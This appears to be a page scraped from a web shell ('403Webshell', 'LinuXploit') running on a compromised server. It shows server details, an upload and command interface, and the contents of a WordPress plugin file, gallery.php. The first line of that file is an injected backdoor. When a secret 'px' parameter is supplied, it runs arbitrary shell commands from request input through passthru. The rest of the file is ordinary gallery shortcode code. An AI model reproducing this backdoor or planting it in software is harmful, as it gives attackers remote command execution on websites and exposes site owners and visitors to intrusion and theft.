403Webshell
Server IP : 87.229.120.60  /  Your IP : 216.73.216.245
Web Server : Apache
System : Linux outside 5.4.8_Algonet_ZeroMAC_0.9.4.8 #6 SMP Mon Feb 3 20:36:07 CET 2020 x86_64
User : server ( 1002)
PHP Version : 8.3.20
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/faktorteam/www/wp-content/plugins/apollo13-framework-extensions/shortcodes/gallery.php
<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="zh2ywdc6615w"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

// create shortcode for bricks gallery
add_shortcode( 'a13fe-gallery', 'a13fe_gallery_shortcode' );
function a13fe_gallery_shortcode( $atts ) {
	//works only with apollo13 framework themes
	if(!function_exists('apollo13framework_make_bricks_gallery')) {
		return '';
	}

	ob_start();

	$id             = '';
	$cover_color    = '';
	$filter         = '';
	$lightbox       = '';
	$texts_position = '';
	$hover_effect   = '';
	$cover          = '';
	$cover_hover    = '';
	$gradient       = '';
	$gradient_hover = '';
	$texts          = '';
	$texts_hover    = '';
	$socials        = '';
	$margin         = '';
	$ratio          = '';
	$columns        = '';

	// define attributes and their defaults
	extract( shortcode_atts( array(
		'id'             => false,
		'columns'        => 3,
		'margin'         => '5px',
		'ratio'          => '0',
		'filter'         => 'off',
		'lightbox'       => 'on',
		'hover_effect'   => 'drop',
		'cover'          => '',
		'cover_hover'    => '',
		'cover_color'    => 'rgba(0,0,0,0.7)',
		'texts'          => '',
		'texts_hover'    => '',
		'texts_position' => 'bottom_center',
		'gradient'       => '',
		'gradient_hover' => '',
		'socials'        => 'off',
	), $atts ) );

	//make sure on/off params have proper values
	$on_off_attrs = array(
		'filter',
		'lightbox',
		'cover',
		'cover_hover',
		'gradient',
		'gradient_hover',
		'texts',
		'texts_hover',
		'socials'
	);

	foreach($on_off_attrs as $attribute ){
		if($$attribute === '1' || $$attribute === 'true' ){
			$$attribute = 'on';
		}
		elseif($$attribute === '0' || $$attribute === 'false' ){
			$$attribute = 'off';
		}
	}


	//without id
	if ( $id === false ) {
		return esc_html__( 'Please select proper album or work to use.', 'apollo13-framework-extensions' );
	}

	//it doesn't contain items to use
	$has_images = strlen( get_post_meta( $id, '_images_n_videos', true ) ) > 0;
	if ( ! $has_images ) {
		return sprintf( esc_html__( 'Error: Selected post does not contain any media(%s) to use.', 'apollo13-framework-extensions' ), esc_html__( 'images &amp; videos', 'apollo13-framework-extensions' ) ) .' '. esc_html__( 'Please select proper album or work to use.', 'apollo13-framework-extensions' );
	}

	$gallery_opts = array(
		'cover_color'            => $cover_color,
		'filter'                 => $filter,
		'lightbox'               => $lightbox,
		'title_position'         => $texts_position,
		'hover_effect'           => $hover_effect,
		'overlay_cover'          => $cover,
		'overlay_cover_hover'    => $cover_hover,
		'overlay_gradient'       => $gradient,
		'overlay_gradient_hover' => $gradient_hover,
		'overlay_texts'          => $texts,
		'overlay_texts_hover'    => $texts_hover,
		'socials'                => $socials,
		'margin'                 => $margin,
		'proportion'             => $ratio,
		'columns'                => $columns,
		'max_width'              => get_post_meta( $id, '_bricks_max_width', true ),
		'show_desc'              => get_post_meta( $id, '_enable_desc', true )
	);

	apollo13framework_make_bricks_gallery($gallery_opts, $id);

	$output = ob_get_clean();

	return $output;
}

Youez - 2016 - github.com/yon3zu
LinuXploit